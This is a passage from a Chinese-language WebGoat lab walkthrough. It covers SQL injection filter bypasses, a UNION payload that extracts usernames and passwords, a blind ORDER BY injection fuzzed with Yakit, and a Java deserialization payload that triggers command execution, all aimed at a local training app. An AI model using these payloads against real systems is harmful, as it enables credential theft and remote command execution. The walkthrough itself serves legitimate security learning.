2.若用户输入不存在UNION则usedUnion = false(这里是判断关卡是否通过的)

我们先尝试注入一下,这里匹配空格就把空格用替代符号替代掉,可以成功注入
a'/**/or/**/'1'='1

上面审计源码已经知道了查询语句是什么,目前我们查询的是user_data表,作者意思让我们查找user_system_data表,要查其他表的数据就需要联合查询了,我们尝试构造联合查询的语句,这里有三点需要注意:
1.上面审计的SQL查询语句中匹配用户输入的FROM和SELECT并置为空值,我们要尝试绕过
2.SQL语言规范规定所有联合的表必须返回相同数量的列,而user_data表里的有7列,user_system_data表有4列所以我们需要填充一些固定数据
3.联合查询的表返回的数据类型要一致,这里因为user_data的列数最多,所以类型参照user_data
问题1:我们采用双写FROM和SELECT绕过限制
问题2:在查询语句中填入固定的字符/数字固定数据用于输出
问题3:SQL语句中NULL的数据类型可以自动转换,所以这里用NULL填充,但是需要保证我们期望输出的user_name和password数据类型能够对应,因为上一步注入我们看到了user_data字符型数据的所处位置,这里直接对应上就行

构造我们的注入语句,成功注入
//SELECT column_name(s) FROM table_name1 UNION SELECT column_name(s) FROM table_name2
1'/**/UNION/**/selSELECTect/**/NULL,user_name,password,NULL,NULL,NULL,NULL/**/frFROMom/**/user_system_data--

5.SQL Injection (mitigation)-模块12
这题作者意思是很难产生注入的风险,提示我们可以尝试ORDER BY字段进行注入,那么我们继续触发DOM节点去审计一下源码。

通过Endpoint端点路径定位到端点的方法,可以看到这里的查询语句预编译处理了,整个方法没有突破口

回到页面(这里是实在找不到注入点搜索才知道,注入点在排序这里😅),我们触发一下DOM节点复制端点路径(这里不要把参数?column=hostname也复制进去了),继续去审计后端代码

可以看到SQL语句中直接拼接column参数,并且参数的值由用户操控(?column=hostname),未使用预编译参数化处理,我们先理一下已知的信息,再去注入。

我们已知这些内容,目标是知道hostname=webgoat-prd的ip的值,我们根据已有的信息构造我们的注入语句。
库名:未知
表名:servers
字段名:id, hostname, ip, mac, status, description
字段的值:
webgoat-acc 192.168.3.3 EF:12:FE:34:AA:CC danger Acceptance server
webgoat-dev 192.168.4.0 AA:BB:11:22:CC:DD success Development server
webgoat-pre-prod 192.168.6.4 EF:12:FE:34:AA:CC danger Pre-production server
webgoat-tst 192.168.2.1 EE:FF:33:44:AB:CD success Test server
//这是一段条件注入语句,检查servers表里hostname='webgoat-prd'数据的ip第1-3位是否为100,如果是响应按照id排序,如果不是响应按照ip排序
CASE WHEN (SELECT SUBSTRING(ip,1,3) FROM servers WHERE hostname='webgoat-prd')='100' THEN ip ELSE id END
构造好了我们在yakit跑一下,因为响应是一样的长度,我们这里把按照id排序的响应(顺序都是一样的)剔除掉就行了,只有不命中的展示
GET /WebGoat/SqlInjectionMitigations/servers?column={{urlescape(CASE WHEN (SELECT SUBSTRING(ip,1,3) FROM servers WHERE hostname='webgoat-prd')='{{int(1-200)}}' THEN ip ELSE id END)}} HTTP/1.1
Cache-Control: no-cache
Connection: keep-alive
Sec-Fetch-Dest: empty
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36
Sec-Ch-Ua-Platform: "macOS"
Accept-Language: zh-CN,zh;q=0.9
Sec-Fetch-Site: same-origin
X-Requested-With: XMLHttpRequest
Host: 127.0.0.1:8080
Sec-Ch-Ua: "Google Chrome";v="137", "Chromium";v="137", "Not/A)Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
Cookie: JSESSIONID=FkMsvGFT-qQrRVOtqKbps5s7n99RigaDHtrMSliu; WEBWOLFSESSION=kSS9v2Bpww6-bPJBdm8ibFshE9Tye0vB5WbNps7_
Accept: */*
Pragma: no-cache
Referer: http://127.0.0.1:8080/WebGoat/start.mvc
Sec-Fetch-Mode: cors


最后就只剩下一条HTTP报文,获取到ip前三位为104,拼接作者给的后半段ip验证通过


2.6.2.思考
SQL注入的检测和绕过方法层出不穷,这里没办法推荐哪些文章是有用的,现在框架也越来越安全,标准的预编译和参数过滤就避免了注入点,一些开发的编译失误也会被WAF阻断,最后还需要BypassWAF,WAF厂商每年针对绕过的投入也是很多,具体能否找到注入点还是要积累payload,这里贴一下我会参考的注入文章和插件,不过还是建议通过代码审计去找SQL注入。
https://wh0ale.github.io/2019/12/04/waf%E4%BB%8E%E5%85%A5%E9%97%A8%E5%88%B0Bypass/
https://github.com/0xInfection/Awesome-WAF
https://sqlwiki.radare.cn/#/detection
https://www.cnblogs.com/sevck/p/6733702.html
https://github.com/smxiazi/xia_sql
2.7.反序列化
2.7.0.介绍
//参考[南白](https://juejin.cn/post/7151588443683258376)
1. 理解Java序列化和反序列化
1.1.Serialization(序列化):将java对象以一连串的字节保存在磁盘文件中的过程,也可以说是保存java对象状态的过程。序列化可以将数据永久保存在磁盘上(通常保存在文件中)。
1.2.deserialization(反序列化):将保存在磁盘文件中的java字节码重新转换成java对象称为反序列化。
1.3.两个进程在远程通信时,可以发送多种数据,包括文本、图片、音频、视频等,这些数据都是以二进制序列的形式在网络上传输。java是面向对象的开发方式,一切都是java对象,想要在网络中传输java对象,可以使用序列化和反序列化去实现,发送发需要将java对象转换为字节序列,然后在网络上传送,接收方收到字符序列后,会通过反序列化将字节序列恢复成java对象。
2. JDK类库提供的序列化API:★★★serializable接口实际是个空接口,只作为标记接口使用表示类可被序列化,真正的序列化方法在java.io标准库里的方法。
2.1.`java.io.ObjectOutputStream`表示对象输出流,其中writeObject(Object obj)方法可以将给定参数的obj对象进行序列化,将转换的一连串的字节序列写到指定的目标输出流中。
3.2.`java.io.ObjectInputStream`该类表示对象输入流,该类下的readObject(Object obj)方法会从源输入流中读取字节序列,并将它反序列化为一个java对象并返回。
3. 序列化要求:
实现序列化的类对象必须实现了Serializable类或Externalizable类才能被序列化,否则会抛出异常。实现java序列化和反序列化的三种方法:
3.1.方法一:`若student类实现了serializable接口`,则可以通过objectOutputstream和objectinputstream默认的序列化和反序列化方式,对非transient的实例变量进行序列化和反序列化。
3.2.方法二:`若student类实现了serializable接口,并且定义了writeObject(objectOutputStream out)和readObject(objectinputStream in)方法`,则可以直接调用student类的两种方法进行序列化和反序列化。
3.3.方法三:`若student类实现了Externalizable接口`,则必须实现readExternal(Objectinput in)和writeExternal(Objectoutput out)方法进行序列化和反序列化。
2.7.1.代码审计
我们读题看一下作者的意思,作者意思输入框可以接收序列化后的二进制字节,并将其反序列化为对象,这里就是让我们构造一串恶意的字节让后端反序列化执行。我们触发一下DOM节点看一下Endpoint端点路径,去源码里定位一下端点。

审计源码我们把代码逻辑理出来,再去找突破口,代码的反序列化逻辑如下,可以发现需要我们去定位到VulnerableTaskHolder类。
- Base64解码处理传入的字符串解密成二进制字节
- 使用ObjectInputStream对Base64解码后的字节流进行反序列化操作
- 读取对象并检查类型:如果是String类型,返回
stringobject错误。如果不是VulnerableTaskHolder类的实例,返回wrongobject错误。

我们过来发现VulnerableTaskHolder类才是真正实现了Serializable接口的类,我们去看一下方法是否有调用链。

跟下来发现下面写了一个readObject()方法,该方法的步骤如下自带了命令执行的方法不需要调用链,那我们就需要构造一个序列化字节流,我们把所有的流程逆向进行一下。
-
利用
stream.defaultReadObject()方法恢复对象的taskName、taskAction字段值。 -
检查
requestedExecutionTime是否在当前时间的前10分钟内,若超时则抛出异常。 -
当
taskAction以sleep或ping开头且长度小于22字符时: 通过Runtime.getRuntime().exec(taskAction)执行系统命令
if ((taskAction.startsWith("sleep")||taskAction.startsWith("ping"))
&& taskAction.length() < 22) {
log.info("about to execute: {}", taskAction);
try {
Process p = Runtime.getRuntime().exec(taskAction);
BufferedReader in = new BufferedReader(
new InputStreamReader(p.getInputStream()));
String line = null;
while ((line = in.readLine()) != null) {
log.info(line);
}
} catch (IOException e) {
log.error("IO Exception", e);
}
}

我们简单推出来我们的序列化逻辑,可以开始写一个序列化的类去实现,我们先跳转到VulnerableTaskHolder类的路径
- 构造一个存在
taskName、taskAction变量的序列化字节流,并且给taskAction赋值sleep 5 - 将序列化的字节流
base64编码后输出。

因为VulnerableTaskHolder类实现了serializable接口,所以之间引入到我们的恶意类中去调用序列化方法就行,这里不清楚怎么回事的翻上去看一下反序列化的介绍内容就清楚咯。
我们根据上面推出的序列化逻辑,写出我们序列化类,输出我们的恶意序列化字节流。
package org.dummy.insecure.framework;
import org.dummy.insecure.framework.VulnerableTaskHolder;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.util.Base64;
public class TestReadObject {
public static void main(String[] args) {
try {
//创建 VulnerableTaskHolder 实例
String taskName = "doctor";
String taskAction = "sleep 5"; //设置taskAction为sleep 5
VulnerableTaskHolder task = new VulnerableTaskHolder(taskName, taskAction);
//序列化对象
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try (ObjectOutputStream oos = new ObjectOutputStream(baos)) {
oos.writeObject(task);
}
//获取字节流并 Base64 编码
byte[] serializedData = baos.toByteArray();
String base64Encoded = Base64.getEncoder().encodeToString(serializedData);
//输出结果
System.out.println("Base64 编码的序列化数据:");
System.out.println(base64Encoded);
} catch (Exception e) {
e.printStackTrace();
}
}
}

输入我们的恶意字节流等待5秒成功通关,这里作者只给了一题没什么演示的,后续看看要不要针对java反序列化调用链出一篇文章。
